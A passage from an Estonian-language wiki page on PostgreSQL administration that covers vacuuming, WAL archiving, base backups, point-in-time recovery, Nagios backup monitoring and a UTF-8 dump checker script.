* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
